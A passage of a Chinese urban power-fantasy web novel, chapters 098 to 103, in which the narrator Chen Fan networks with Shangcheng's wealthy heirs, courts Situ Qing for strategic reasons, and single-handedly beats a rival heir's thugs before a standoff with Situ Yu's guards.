我接过酒杯,看了一眼那琥珀色的液体,又看向李哲,淡淡一笑道:“玩得不好,但可以陪李少玩玩。”
“痛快!”李哲拿起骰盅,手法花哨地摇了起来,“简单点,吹牛,会吧?”
“略懂。”我点了点头。
赌局开始!
这种场合的玩闹,输赢钱是其次,更多的是气势和心理的较量,李哲显然是此中老手,技巧娴熟,眼神也毒,试图从一开始就压住我。
但我陈凡什么场面没见过?李哲那点道行,在我眼里还不够看。
几轮下来,李哲不仅没占到便宜,反而连喝了好几杯,脸色有些难看起来,周围的人都看出了苗头,起哄的声音也小了不少。
张远饶有兴致地看着,眼神里多了几分认真。
又一轮,李哲叫了一个极其冒险的点数,眼神死死盯着我,带着逼迫。
我平静地看着他,缓缓开口:“开。”
骰盅揭开,点数完全不符。
李哲的脸色瞬间铁青。
我端起自己面前那杯一直没动的酒,递到他面前,语气依旧平淡:“李少,承让。”
李哲盯着我,接过酒杯,仰头一饮而尽,然后将酒杯重重顿在桌上,哼了一声,没再说话。
“可以啊,老陈!没想到你深藏不露,连李哲都在你手上吃瘪!要知道,他可是玩骰子的高手!”
张远哈哈大笑,然后用力拍我的肩膀,看得出来,他看热闹看的很开心,他对我的称呼也从陈凡,变成了老陈。
“老陈,这位李飞家里是开连锁酒店的,以后你出去旅游,让他给你免费开房!”张远指了指对面的李飞。
“陈总,干一个!”李飞笑着说道。
“干!”我也举起了酒杯。
“老陈,这位是张小菲,她父亲可是传媒巨头,你想见哪个明星,找她!”
“张总!幸会!”我举起了酒杯,向着张小菲说道。
“幸会!”张小菲点了点头。
张远竭尽所能的给我介绍这个圈子里的人,毫无疑问,这里都是上城圈子有头有脸的年轻一代,都是未来可以用的人脉资源。
这场聚会大家聊的都很尽兴,我也喝了不少洋酒,我和那几个富二代也都加了微信,算是认识一下。
直到凌晨,这个聚会才散去,但是张远还没有玩够,他搂着那个性感女孩,对我说道:“老陈,下一场在我的别墅,还有更刺激的,你敢不敢去?”
“今天差不多了,下次吧张少,来日方长。”我委婉拒绝道。
“行!老陈你这人对我脾气!在上城有什么事儿,尽管找我!”
离开俱乐部,我坐进车里,秋夜的凉风让被酒精和喧嚣浸泡的大脑清醒了不少。
周叶青的电话适时打了过来。
“怎么样?”周叶青说道。
“接触上了,初步印象还不错,可以用。”我简短回答。
“嗯,把握好度,张远是块很好的跳板,但别陷太深,他们那个圈子,太浮躁,也容易惹麻烦。”周叶青提醒道。
“明白。”
098大佬品鉴会!
这次聚会,我喝了不少的酒。
回到家里,我已经感觉到醉意上头,我简单洗漱了一下,就去睡觉了。
第二天,我是被一阵电话铃给吵醒的,我拿起手机一看,竟然是张远打来的。
“喂,老陈,干嘛呢?”张远的声音带着刚睡醒的慵懒,背景音里还有女人的娇笑声。
“刚睡醒。”我关上电脑,笑着问道:“张少有何指教?”
“指教个屁,晚上有个私人品鉴会,来的都是圈里真正懂行的,还有几个大佬,比昨晚上瞎嗨的局有意思多了,你要不要来?”
张远语气随意,但大佬几个字,却让我心中一动。
我觉得,这才是周叶青把张远引荐我的真正目的——接触那个圈子更核心、更有价值的部分。
“时间地点?”我问。
“晚上八点,北湖会所,到了报我名字。”张远说完,又压低声音补充了一句,道:“穿正式点!来的都是有头有脸的人!”
“OK,没问题!”
挂了电话,我立刻联系了周叶青。
“张远晚上约我去北湖会所的品鉴会。”我直接在电话里说道。
“北湖会所那是另一个层面的地方,张远能带你去,说明他初步认可你了,把握好机会,那里的人,一句话可能比你辛辛苦苦运作几个月还有用,记住,多看,多听,少说。”
“明白。”
晚上七点五十,我准时抵达北湖会所。
这里位于上城核心区域,却闹中取静,外表是一座不起眼的青砖小楼,没有任何标识,可里面却别有洞天。
这里内部装修并非极尽奢华,而是充满了古朴厚重的历史感,明清家具,名家字画,空气里弥漫着淡淡的檀香。
张远已经在一個小偏厅里等我,他今天难得穿了一身剪裁合体的西装,虽然眉宇间那抹玩世不恭依旧存在,但整个人收敛了不少。
“可以啊老陈,这身纪梵希西装不错。”张远打量了我一眼,还算满意道:“走吧,带你见几个人。”
他领着我穿过几重庭院,来到一处灯火通明的正厅。
厅内已有十几人,这些人看似平和,但身上那种久居人上的气场,以及眼神中不经意流露出的精芒,都显示着他们绝非等闲之辈。
张远带着我,径直走向靠窗的一小圈人。
坐在中间的是一位穿着中式对襟褂子,头发花白的老者,他身旁坐着一位戴着金丝眼镜的中年男子,以及一位穿着香奈儿套装的中年美妇。
“吴爷爷,刘叔,林阿姨。”张远收敛了平时的跳脱,语气带着明显的恭敬。
那被称为“吴爷爷”的老者抬眼看了看张远,目光温和,随即落在我身上,带着一丝不易察觉的审视:“小远来了,这位是?”
“爷爷,这是我一位好朋友,陈凡,从海城来的,做点生意,对古玩收藏也挺有兴趣,我带他来开开眼。”张远连忙介绍。
“吴老,您好,刘先生,林女士,幸会。”我微微躬身,态度不卑不亢。
吴老点了点头,没再多问,继续品他的茶。
那位刘叔和林阿姨也只是对我礼貌性地笑了笑,目光便转向了别处,到了他们这个层级,自然不会轻易对陌生人表现出过多兴趣。
“吴爷爷是收藏界的泰斗,刘叔家里是搞矿的,能量很大,林阿姨的传媒集团覆盖半边天,你先自己随便看看,我去跟几个朋友打个招呼。”
说完,他便溜达到另一边,我知道,张远能把我带进来,已经完成了他的任务,剩下的,需要靠我自己。
我没有急于去攀谈,而是真的如同一个爱好者般,开始仔细观赏厅内陈列的藏品。
这里的藏品无论是瓷器、玉器、还是字画无一不是精品,甚至有几件堪称国宝级,我的鉴赏能力有限,但基本的眼力还是有的。
在一个展示明清瓷器的玻璃柜前,我停下脚步,里面是一件青花玉壶春瓶,釉色温润,画工精湛。
“这件永乐的青花,发色沉稳,算是民窑里的精品了。”一个温和的声音在我的身边响起。
我转过头,是刚才那位戴着金丝眼镜的刘叔,我知道,他来到我这里,绝对不是白来的。
“刘先生好眼力。”我微微颔首,道:“我对瓷器了解不深,只觉得这器型和画片看着很舒服。”
刘叔笑了笑,推了推眼镜道:“收藏这东西,眼缘很重要,小远说你是做生意的?海城现在机会不少吧?”
他没有继续深入藏品的话题,而是看似随意地聊起了商业,我知道,这才是真正的开始。
“机会是有,但竞争也激烈,水也深,尤其是在云城、杭城一带,最近就不太安宁。”我说道。
“哦?”刘叔似乎来了点兴趣,问道:“听说那边前段时间是出了些事情,动静不小。”
“树欲静而风不止。”我叹了口气,语气带着无奈道:“有时候,麻烦会自己找上门。”
“上城这边,虽然规矩多,但只要你守规矩,舞台也更大,司徒家的那个5G频谱项目,最近可是炙手可热。”
他主动提到了司徒家!这绝非偶然!
我心中了然,表面却无所谓道:“司徒家底蕴深厚,我们这种小门小户,恐怕连入场券都拿不到。”
“事在人为嘛。”刘叔淡淡一笑,道:“有时候,找对路子,比实力更重要。”
“刘先生有门路?”我笑着问道。
“哈哈!”
刘叔笑了一声,不在多言,转身走向而来另一边的书画区。
我知道,他是在暗示我,想要参与司徒家的项目,需要经过他的手。
这时,品鉴会似乎进入了自由交流环节,服务生端上了茶点和酒水,张远不知从哪里冒了出来,递给我一杯香槟,低声问:“怎么样?跟刘叔聊上了?”
“嗯,刘先生提点了两句。”我接过酒杯。
“刘叔那人,看着和气,门槛精着呢。”张远撇撇嘴,道:“不过他肯跟你说话,就是好兆头,走吧,我带你去跟林阿姨打个招呼,她可是传媒界的女王,搞好关系没坏处。”
整个晚上,我在张远的引荐下,又陆续和几位重量级人物有了短暂的接触。
品鉴会结束后,已经是深夜,张远又恢复了那副吊儿郎当的样子,他搂着女伴,跟我打了声招呼就先走了。
坐进车里,周叶青的电话如期而至。
“感受如何?”她问。
“水很深,规矩也多。”我如实回答,道:“不过,算是敲了敲门。”
“刘明理主动跟你提了司徒家的项目?”周叶青显然已经得到了消息。
“是,像是在试探。”我说。
“嗯,他点你,未必安的是好心,但这条路子没错。”周叶青分析道:“吴老德高望重,林女士掌控舆论,这些都是需要长期经营的关系,不急,慢慢来。”
我挂上电话,揉了揉眼睛,这里确实比海城有意思多了。
099司徒晴的表白?
周叶青说的没有错,刘明理拿话点我这件事,显然是没安好心的,他如果真的处于好意,在我询问他,有没有门路和司徒家联系,他就会回答我。
但是,刘明理却选择了走开。
这就说明了一切。
或许?刘明理是司徒家派来敲打我的?
想到这里,我忽然对司徒晴的哥哥,司徒宇产生了浓厚的兴趣,我翻看起电脑里面司徒宇的资料。
司徒宇,他今年35岁,已执掌家族核心产业多年,他作风强硬,眼光精准,近年来大力推动家族产业向高科技和金融领域转型,那个5G频谱项目便是他力主推动的旗舰计划。
周叶青对司徒宇的评价是:此人城府极深,表面上谦和儒雅,实则手段凌厉,对竞争对手从不留情,在圈内有笑面虎的称呼。
我资料上,我看到,司徒宇因为某个追求司徒晴的公子哥行为不端,动用雷霆手段,几乎让对方家族在上城无法立足。
“司徒宇对司徒晴的控制欲,是不是有点近乎变态了?”
我看到这里,不免心生不对劲,哥哥对妹妹有保护欲很正常,但像司徒宇这种,有点过分的变态了!
“不过这点,可以加以利用。”我自言自语道。
就在我梳理这些信息时,一个意外的电话打了进来,是司徒晴。
“陈大哥!”她的声音透过听筒传来,带着一如既往的喜悦道:“没有打扰你吧?”
我合上电脑,走到窗边,看着楼下川流不息的车河,道:“没有。”
“陈大哥,你上次不是说,可以帮我留意一些适合我尝试的事情吗,我看中了一个很小的画廊,在艺术区,我觉得挺有意思的,想接手过来玩玩,但心里又没底,你能不能帮我把把关?”
“当然可以!”我几乎没有犹豫,道:“什么时候方便,我陪你过去看看。”
“真的吗?太好了!”司徒晴的声音立刻充满了雀跃,道:“明天下午三点!”
“好,没问题。”
我答应了下来,挂上电话后,我立刻给周叶青发了条信息,简单说明了情况。
周叶青很快回复,只有四个字:“顺势而为。”
第二天下午,我提前十分钟到达约定的艺术区,司徒晴看中的那家画廊位置相对僻静,门面不大,名字也很简单,叫“白盒子”。
我到的时候,司徒晴已经到了,她看见我,高兴的冲我挥手,然后一路小跑过来!
她今天穿了一身简单的白色连衣裙,外搭浅蓝色针织开衫,扎了一个马尾辫,清纯如大学生。
“陈大哥,你帮我看看画廊,你看我的眼光怎么样!”司徒晴一脸雀跃道。
我被司徒晴拉着走进画廊,这里墙上挂着许多艺术画作,风格偏抽象和前卫。
司徒晴一边挎着我的胳膊,一边给我介绍道:“陈大哥,你看这个空间,虽然不大,但格局很好,改造潜力很大,我想把它做成一个艺术家的平台,不单纯为了卖画,更想做一个有态度的艺术空间……”
她侃侃而谈,眼睛闪闪发光,显然做了不少功课,也投入了真切的热情。
我安静地听着司徒晴的介绍,等看完场地,我们又和老板聊了聊转让价格,然后就走出了画廊。
“陈大哥,您觉得怎么样?”司徒晴一脸期待的看着我问道。
我没有立刻回答,而是反问道:“你自己怎么看?你觉得经营这样一家画廊,面临的最大困难是什么?”
司徒晴认真想了想,蹙着秀眉:“嗯……我觉得可能是怎么让更多人知道这个画廊吧吗,毕竟这里位置不算最好。”
我点了点头道:“你的思路是对的,如果你真的决定要做,你可以找一些流量自媒体来扩大宣传。”
司徒晴听得连连点头,眼神越来越亮:“对!我就是这么想的!”
“不过……”我话锋一转,问道:“做生意有风险,这件事,你和你大哥商量过吗?”
提到司徒宇,司徒晴的眼神瞬间黯淡了一下,撅起了嘴:“还没有……我打算先考察清楚,做出个像样的计划书再跟他说,不然他肯定又是一堆理由反对,说我异想天开……”
果然,司徒宇的控制欲极强!我正好可以利用这一点。
“你大哥也是为你好,好好沟通,把你的想法和规划清晰地告诉他,他或许会支持你。”我说道。
“希望吧……”司徒晴叹了口气,道:“不管怎么样,我都要试试!陈大哥,谢谢你陪我!”
“举手之劳。”我淡然一笑,道:“后续如果还有什么需要讨论的,随时可以找我。”
“嗯!”司徒晴用力点头,脸上重新绽放出灿烂的笑容,“陈大哥,为了表示感谢,我想请你吃个晚饭!”
她像个小女孩一样,一脸期待的看着我,我实在是不忍心拒绝,我需要她多和我交流,主要她喜欢上我,那我对付司徒鸣就多了一件法宝利器!
“好啊,司徒小姐请我,那我当然是高兴的不得了!”我哈哈大笑,故意打趣道。
“哎呀,陈大哥不是说好了,叫我晴儿么!你怎么还喊我小姐呢!”司徒晴故意娇嗔。
于是我微微一笑,摸了摸她的头,柔声道:“晴儿?”
“嗯!这才对嘛!”司徒晴挎着我的胳膊,笑着道:“走吧,我们一起去吃饭!”
司徒晴带我来到了一家云南饭馆,我们坐在室外,来来往往的人络绎不绝,司徒晴一脸的笑容。
“好像很喜欢这里?”我给她夹菜说道。
“嗯!”她点了点头,甩着她的马尾辫,笑着道:“陈大哥,你看,这里多有烟火气息啊,我坐在这里,就感觉自己活过来了。”
“噗嗤!”我一口酒差点喷出来,道:“你这话说的……”
“真的陈大哥,我真的不喜欢回家,一回家,感觉自己都要憋死了!”
“陈大哥,等我的画廊买下来了,我就住在画廊里!想想就觉得自由啊!”
说着,司徒晴还深呼吸了一口气。
我看着她这烂漫的样子,不觉想:“司徒宇是怎么控制的她,让她如此渴望自由。”
司徒晴和我聊了许多话题,渐渐地,她对我越来越不设防,眼中对我投射出了许多的好感,我知道,我和她的距离更进一步了。
吃完饭后,司机就来接她了。
上车前,司徒晴对我说道:“陈大哥,今天真的很开心,下次我还要找你玩!”
“好!”我笑着点了点头。
她看着我的眼睛,脸色越来越红,她忽然靠近我,在我耳边轻声说道:“陈凡,我喜欢和你玩。”
说完,她嗖的一下就窜进了车里……
100富少骚扰林薇儿!
我看着司徒晴远去,我心里暗自好笑:“这算是表白么?”
于是我决定主动出击,故意发了一条消息给司徒晴:“你这是和我表白?”
不一会儿,司徒晴的消息发了过来。
“你猜……”
我没有继续回消息,而是打车回到了公寓。
回到家,我一边冲澡一边在计划着,如何让司徒晴喜欢上我,我觉得可以利用画廊这个机会。
当我走出浴室,我接到了林薇儿的电话。
“哥哥,我想你了,想去上城看看你!好不好嘛?”
“好啊,我也想你了。”我语气平和,道:“你什么时候来?我去接你。”
“那我明早飞机,去上城找你!”
“好!”
“哥哥,明早不见不散哟!”
第二天的中午,当海城的飞机降落在上城机场,林薇儿带着口罩,穿着一身休闲装从机场走了出来。
她无需浓妆艳抹,简单的素颜,都足以光彩照人。
我并没有下车去接她,我怕被狗仔队拍到,而是坐在车里,发了位置给他。
她一上车,就激动的抱住了我的脖子,道:“终于见到你了,我好想你呀!”
“傻丫头,饿了吧?想吃点什么?”
“哥哥吃什么,我就吃什么!反正看见你,我就开心!”
林薇儿搂着我的胳膊,看着她一脸开心的样子,我是真心喜欢。
为了安全考虑,我将吃饭的地方,选择了米其林三星餐厅,这里出入都是非富即贵,狗仔少一些,省的林薇儿被拍到。
“原来不工作,真的好爽啊!”林薇儿一脸雀跃道:“真想给自己再放一个长长的假期,还想和你去旅游呢!”
“你就不怕被狗仔拍啊!”我笑着问。
“怕啥,拍了就官宣呗,我都二十了,也该恋爱了!”林薇儿一脸纯真道:“哥哥,我们一起看日出吧。”
“好!”
“我们一起出海吧!”
“好。”
“我们一起……”
林薇儿忽然停住了,我回头一看,我身后出现了五六个人。
走在最前面的,是一个年轻男人,他穿着一身奢侈品,面色倨傲,眼袋浮肿,一副纵欲过度的样子。
中年男人看到了林薇儿,他的眼睛就如同发现了猎物一般。
那男子毫不避讳,径直朝着我们这边走了过来。他身后的跟班们也嬉皮笑脸地跟上,带着一股熏人的酒气。
“哟!这不是林大明星吗?”那男子走到我们桌前,双手撑在桌面上,身体前倾。
“真是巧啊!没想到能在这儿碰到你,我是韩栋,久仰林小姐大名,今天总算见到真人了,果然名不虚传!”
他语气轻浮,让人一听就很反感。
林薇儿的脸色瞬间变得苍白,下意识地往我这边靠了靠,眼神里流露出惊慌和厌恶。
“韩少是吧?”我放下手中的餐巾,抬起头,目光平静地看向这个不速之客,道:“我们正在用餐,不方便打扰。”
我的开口,终于让韩栋将注意力转移到了我身上。他上下打量了我一眼,眼神里充满了不屑和挑衅:“你谁啊?我跟林小姐说话,有你插嘴的份儿?”
他身后的一个跟班立刻帮腔道:“小子,睁大你的狗眼看清楚,这是韩少!上城韩家的韩少!识相的就赶紧滚蛋,别妨碍韩少跟林小姐交朋友!”
韩家?我迅速在脑中过滤着周叶青的信息。
上城韩家,确实算得上是顶级豪门之一,主要势力在金融和地产领域,家风颇为霸道,这个韩栋,是韩家这一代里出了名的纨绔,玩得很疯,名声极差。
“我是陈凡。”我报上名字,语气依旧没什么波澜,道:“林小姐是我的朋友,她不想被打扰,请你们离开。”
“陈凡?没听说过!”韩栋嗤笑一声,极其无礼地用手指点了点我,道:“我不管你是谁的朋友,现在,立刻,从林小姐身边消失,否则,我让你在上城混不下去!”
“你在威胁我?”我冷冷的看着韩栋。
“就威胁你了,怎么样!”
韩栋的声音很大,很嚣张,把餐厅的经理都招过来了!
“韩少,韩少您息怒,有什么话好好说,别影响了其他客人……”餐厅经理恭维道。
“滚开!”韩栋一把推开经理,目光重新锁定林薇儿,脸上露出一个油腻的笑容,道:“林小姐,跟这种不知所谓的家伙吃饭多没意思?走吧,我带你去个更好玩的地方,保证让你体验到上城真正的精彩!”
说着,他竟然伸出手,想要去拉林薇儿的手腕!
“啊!”林薇儿惊叫一声,猛地缩回手,整个人几乎要缩进卡座角落里,无助地看向我。
就在韩栋的手即将触碰到林薇儿的瞬间,我狠狠抓住了韩栋的手腕,然后紧紧的扣住!
韩栋脸上的笑容僵住,随即转为惊愕和暴怒,他试图挣脱,却发现根本无法挣脱!
“你他妈放手!”韩栋疼得龇牙咧嘴,怒吼道。
他的那几个跟班见状,立刻叫骂着围了上来,气势汹汹。
“韩栋!我给你三秒钟时间,带着你的人,滚出我的视线。”我冷冷的威胁道。
韩栋手腕剧痛,额头上冷汗都冒了出来,但他仗着家世,依旧嘴硬,道:“陈凡!你他妈敢动我?!你知道动我的后果吗?!我爸是韩……”
“三。”我直接开始倒数。
“二。”
随着倒数,我手上的力量再次加大,韩栋甚至能听到自己腕骨发出的不堪重负的“咯咯”声,剧痛让他后面的话全都咽了回去,脸上终于露出了恐惧的神色。
“一!”
当我吐出最后一个数字时,韩栋终于崩溃了,嘶声喊道:“放手!我走!我走!!”
我冷哼一声,松开了手。
韩栋疼的急忙甩了几下手,他的手腕已经肿了起来。
“陈凡!你……你给我等着!这事儿没完!”他撂下一句狠话,狼狈不堪地匆匆逃离了餐厅,连头都没敢回。
我无视周围各异的目光,坐回座位,对林薇儿温和地说道:“没事了,别怕。”
我知道,我算是得罪韩栋了,于是我给周叶青发了一条消息:“我把韩栋打了!”
同样的消息,我给张远也发了。
我想到韩栋会报复我,但我没想到,他会来的那么快。
不过十几分钟,他就带着几十号人,杀了回来!
101单挑百人!
“看来上城的富少们,动作可够快的!”我忍不住调侃了一句。
我面色平淡,可一旁的餐厅经理急的犹如热锅上的蚂蚁!
“这位先生,你还是服个软吧,韩家可不是吃素的!”
“我这个人就喜欢欺负打富二代!”我微微一笑,平静的结账。
林薇儿紧紧的抓着我的手臂,她脸色有些苍白,坚定的站在我的背后。
我微微一笑,看来这小丫头进步了不少,不在像上次那样害怕恐惧。
“看来这次来了不少人啊!”我眼神阴沉着,注视着外面发生的一切。
餐厅外突然传来一阵密集刺耳的刹车声,紧接着,是杂乱的脚步声和嚣张的叫骂声,由远及近,如同潮水般涌来!
“在里面!那小子肯定还在里面!”
“把门给我堵死了!一只苍蝇也别放出去!”
“妈的!敢动本少,今天非废了他不可!”
声音嘈杂,至少来了二三十人!
米其林的餐厅里,客人们吓的面无人色,他们纷纷躲到角落里,或者试图从后门溜走,经理更是吓的双腿一软,差点瘫倒在地。
林薇儿吓得花容失色,下意识地抓紧了我的胳膊。
我缓缓站起身,将她护在身后,目光平静地望向餐厅入口。
“砰!”
餐厅那扇厚重的玻璃门被人猛地踹开,玻璃碎片四溅!
韩栋一马当先冲了进来,他换了一身衣服,但右手腕依旧缠着简单的绷带,他一脸的愤怒!
在他身后,黑压压地涌进来一大群人,个个满身的刺青,他们手里拎着钢管、棒球棍,甚至还有几把明晃晃的砍刀!
“陈凡!你他妈果然还没跑!”韩栋看到我,眼睛立刻红了,指着我疯狂骂道:“你刚才不是很牛逼吗?现在老子看你还怎么狂!给我上!往死里打!打死了算我的!”
他一声令下,那几十号打手如同嗅到血腥味的鬣狗,嗷嗷叫着,挥舞着手中的家伙,朝着我蜂拥而至!场面瞬间失控!
“啊——!”林薇儿发出惊恐的尖叫。
面对这如同群狼扑食般的场面,我眼神一厉,非但没有后退,反而主动迎了上去!
我胸口的玉佩在不停的颤动,一股股热流贯穿进我的体内,我感觉自己浑身充满了劲儿!
嗖!
一记风声呼啸而过,一个壮汉手持钢管,直砸向我的面门!
我身体微微一侧,让过钢管,左手快如闪电般探出,精准地扣住他持管的手腕,顺势往下一拧!同时右膝如同出膛的炮弹,狠狠顶在他的腹部!
“咔嚓!”腕骨断裂的脆响!
“呕!”壮汉眼珠暴突,整个人蜷缩着倒了下去,手中的钢管也哐当落地。
我脚尖一挑,瞬间接住钢管,我没有丝毫停顿,我反手一棍扫出!
“砰!”
一个试图从侧面偷袭的打手,被我被狠狠砸在肋部!
“卡擦!”
我清晰的听到了肋骨断裂的声音。
我的动作没有丝毫花哨,简洁,高效,狠辣!每一次出手,都直奔要害,力求一击制敌!
“砰!”
“咔嚓!”
“啊——!”
原本奢华高贵的米其林餐厅,现在成了竞技场,这里传来的惨叫声此起彼伏!
我出手极快,动作狠厉,转眼间,地上已经躺下了七八个人,痛苦地翻滚哀嚎!
韩栋看得目瞪口呆,他没想到我竟然这么能打,一个照面就被放倒了七八个!
餐厅里热闹不凡,餐厅外也一样,许多富二代,纨绔子弟都赶了过来看热闹,外面超跑停了一整排!
“卧槽!里面那哥们儿谁啊?这么生猛?”
“一个人单挑韩栋几十号人?还放倒了这么多?”
“没见过啊,生面孔,北边来的?”
“这下有意思了,韩栋这次踢到铁板了!”
“快拍快拍!发群里!”
他们议论纷纷,仿佛在观看一场刺激的真人秀。
就在这时,一阵急促的喇叭声响起,一辆张扬的兰博基尼一个甩尾停在了餐厅门口,张远急匆匆地从车上跳了下来,拨开人群冲了进来。
“韩栋!你他妈疯了?!搞这么大动静?!赶紧让你的人撤了!”张远进来怒骂道。
韩栋正在气头上,红着眼睛吼道:“张远!你少他妈管闲事!这小子敢动我,今天谁来说情都没用!我非要弄死他不可!”
“给我上!干死他,一条腿100万!一条命1000万!”
韩栋怒吼着,他竟然开始给我明码标价了!
重赏之下,必有勇夫!
那可是1000万!
这帮人发疯了一样冲了过来,他们推开了挡在我面前的张远,可我丝毫不怕!
我只觉得浑身燥热无比,他们的动作,在我眼里慢的可笑!
我握紧手中的钢管!
迎着众人,直接杀了过去!
砰砰砰!
三声闷响,又有三个人被我放倒!
砰砰砰!
又是一阵闷响,又有三个人被我打断了胳膊!
我一个人,怒战二三十人!
场面无比的精彩,几分钟后,这二三十人,被我全部放倒!
就只剩下韩栋!
我拎着钢管,走向了韩栋,正当我举起钢管的瞬间!
一个男人的声音响起!
“住手!”
所有人都循声望去,我的目光也望向了门口。
一个长相普通的年轻男人,站在门口,他没有什么气势,可整个餐厅,包括外面那些纨绔子弟,看到他后,都彻底的安静了下来。
仿佛他才是这里的绝对中心。
张远看到此人,脸色微变,下意识地站直了身体,收起了平时的玩世不恭。
韩栋更是露出胜利的笑容,他大声喊道:“宇哥,我在这里!就是这个人打的我!”
他轻轻推开挡在身前的人,缓步走了进来,皮鞋踩在玻璃碎片上,发出清脆的声响,在这寂静的环境里格外刺耳。
我看清了他的面貌,他就是司徒家的少爷——司徒宇!
他走到韩栋面前,看都没看地上躺着的人,只是淡淡地问道:“怎么回事?”
韩栋连忙指着我说:“宇哥!就是这小子!他刚才在餐厅侮辱我,还动手打我!你看我的手!我现在带人来跟他讲道理,他居然又打伤我这么多兄弟!简直无法无天!宇哥,您可得给我做主啊!”
他颠倒黑白,将责任全推到了我身上。
司徒宇走到我的面前,嘲笑着看着我道:“你就是陈凡?”
102周叶青替我出头!
“是我!”我直接干脆的回答。
“你把海城闹个天翻地覆,又在杭城弄得秦家鸡犬不宁,没想到,你的手,这么快就伸到上城来了。”
他对我过往的了解,一点都不让我感到意外,以司徒家的能量,想要查清我的底细易如反掌。
“司徒公子消息真灵通。”我语气平淡,不承认,也不否认。
“不是我消息灵通,是你太不懂规矩。”司徒宇微微摇头,道:“上城,不是云城,更不是杭城,这里,有这里的玩法。”
“我不管你和张远混在一起想干什么,也不在乎你跟韩栋这种废物有什么冲突,但是……”
他停顿了一下,声音压低,却带着一股不容置疑的压迫感,道:“离我妹妹司徒晴,远一点。”
果然是为了司徒晴!
这才是他亲自现身的真正目的!司徒宇,已经率先亮出了警告牌。
我迎着他冰冷的目光,没有丝毫退缩。
“司徒小姐是成年人,她有权利选择自己的朋友。”
“朋友?”司徒宇嗤笑一声,道:“陈凡,别在我面前玩这种文字游戏,你接近晴儿是为了什么,你我心知肚明,她心思单纯,不是你这种人能够觊觎的。”
他的话语刻薄而直接,带着世家子弟固有的傲慢。
“我再说最后一遍,离开司徒晴,滚出上城,之前的事情,我可以当做没发生,否则……”
司徒宇当着众人在威胁我,他带来的压迫感让空气瞬间凝重起来!
所有人都看着我,等待我的回答,韩栋脸上露出了幸灾乐祸的笑容,张远则是一脸焦急,欲言又止。
林薇儿紧紧抓住我的衣角,指甲几乎要掐进我的肉里,她的眼中充满了恐惧。
在无数道目光的注视下,我缓缓开口,声音不大,却异常果决,道:“如果,我说不呢?”
轰!
这句话如同惊雷,在所有人心头炸响!
“呵呵,很好!”司徒宇点了点头,语气平静道:“看来,你是铁了心要自寻死路了。”
他不再看我,仿佛我已经是一个死人。
他微微侧头,对着空气,或者说,对着隐藏在暗处的某个人,淡淡地吩咐了一句:“清场!”
随着他这两个字落下,餐厅外,原本那些看热闹的纨绔人群中,突然骚动起来!
忽然数十个穿着黑色西装、气息精悍、眼神冷漠的男子不知从何处出现,开始强硬地驱散人群!
“走走走!都散了!”
“司徒家办事,闲杂人等回避!”
这些黑衣人的动作干净利落,带着不容置疑的强势,那些平日里嚣张跋扈的富二代们,此刻如同温顺的绵羊,不敢有丝毫反抗,纷纷上车离去,连多看一秒的勇气都没有。
短短几分钟,餐厅外围得水泄不通的看客被清理得一干二净,只剩下空荡荡的街道和昏黄的路灯。
紧接着,更令人震惊的事情发生了。
街道的两端,传来了沉重而整齐的脚步声!如同鼓点,敲击在每个人的心脏上!
放眼望去,只见黑压压的人群,如同潮水般从街道两头涌来!他们同样穿着统一的黑色作战服,没有携带明显的器械,但那股肃杀的气势,压的人喘不过气!
我看了看,大概有两百多人!
司徒宇依旧站在那里,面无表情,仿佛眼前这足以让任何人崩溃的阵仗,与他毫无关系,他只是淡淡地看着我,如同在看一只即将被碾碎的蝼蚁。
“现在……”司徒宇缓缓开口,道:“你还有最后一次机会。”
面对两百多人的训练有素的打手,我体内的血液,却仿佛在瞬间被点燃!
我松开林薇儿的手,将她轻轻推到相对安全的卡座深处,然后向前一步,独自面对那黑压压的、如同潮水般涌来的数百人!
“要战,便战!”
我低吼一声,声如闷雷,炸响了整个上城!
然而,就在这千钧一发的时候,一道清冷威严的女声,骤然响起:“司徒宇,你好大的威风!”
声音来自街道的另一端!
所有人猛地转头望去!
只见在那黑压压的人群后方,不知何时,悄无声息地停了三辆黑色的红旗轿车。
中间那辆车的车门打开,一个身影走了下来。
那是一个女人,她看起来不过二十七八岁,但那双凤眸中蕴含的冷静与力量,却让人不敢直视。
周叶青!
她竟然亲自来了,而且是在这个最关键时刻,她来给我站台了!
在周叶青身后,只跟着一个人,便是白起!
看到周叶青,司徒宇那一直古井无波的脸上,第一次出现了明显的变化,他的眉头微微皱起,眼神中闪过一丝惊讶和凝重。
“周叶青?”司徒宇声音冰冷道:“你怎么会来这里,这是司徒家的事,与你周家无关。”
周叶青没有理会他,她迈步向前,高跟鞋敲击地面的声音清脆而稳定,那数百名司徒家的精锐,在她面前,竟不由自主地让开了一条通道!仿佛被一股无形的气场推开!
她径直走到我的身边,与我并肩而立,目光冰冷地看向司徒宇。
“陈凡,是我周叶青的人。”周叶青的声音不高,却带着一种斩钉截铁的宣告,清晰地传遍全场!
“动他,就是动我周家。”周叶青气势威严道。
此言一出,全场皆惊!
周家大小姐,竟然为了陈凡,竟然不惜正面硬撼司徒宇,甚至不惜抬出整个周家?!
司徒宇的脸色彻底沉了下来。
“周叶青,为了一个外人,你要与我司徒家为敌?”司徒宇问道。
“为敌?”周叶青冷笑一声,凤眸中寒光闪烁,质问道:“司徒宇,你调动家族‘暗卫’,在市区公然围堵,是想把天捅破吗?上城什么时候成了你司徒家可以随意调动私兵的地方了?!”
她的话语犀利如刀,直接点出了司徒宇越界行为!
司徒宇眼神变得凝重,他没想到,周叶青会为了陈凡如此强硬地介入!
“他动了我司徒家要保的人,还试图接近晴儿,其心可诛!”司徒宇冷冷道。
“韩栋当众骚扰女性,恃强凌弱,该打!至于晴儿……”周叶青语气冰冷道:“她是司徒家的千金,不是囚犯!她愿意和谁交朋友,是她的自由!什么时候轮到你司徒宇来替她做主了?!你爸知道你这么‘关心’妹妹吗?”
103司徒晴来救我!
周叶青的话,好像一把刀,割开了司徒宇的遮羞布。
众人皆是哗然!
但凡有点脑子,不傻的人,应该明白周叶青话里话外的意思吧。
“我们司徒家的事,不由你外人插手!”司徒宇面露不悦道。
“陈凡,我今天要带走!”周叶青冰冷道。
“不行!除非他答应永远不找晴儿!”司徒宇道:“否则,他今天哪也去不了!我不在乎上城的江里,多个尸体!”
“呵……”周叶青冷哼一声,道:“既然谈不拢,那就打吧,白起!”
“是,小姐!”
那个长相普通的男人,忽然挡在了周叶青的面前,他浑身爆发出惊人的战意!
不过一瞬间,我就感受到这个白起的可怕,他绝对是顶尖高手!
那些个训练有素的打手,未必是他的对手!
“哥!叶青姐!你们……你们在干什么?!!”
司徒晴的声音响起,所有人循声望去!
